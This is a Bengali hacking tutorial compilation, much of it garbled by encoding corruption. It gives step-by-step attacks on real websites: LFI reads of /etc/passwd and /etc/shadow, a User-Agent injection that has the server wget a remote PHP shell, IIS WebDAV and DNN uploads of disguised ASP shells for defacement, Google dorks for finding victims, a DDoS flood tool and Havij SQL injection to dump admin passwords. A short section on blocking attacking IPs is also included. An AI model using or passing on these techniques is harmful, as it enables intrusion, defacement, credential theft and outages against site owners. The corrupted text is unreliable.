inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

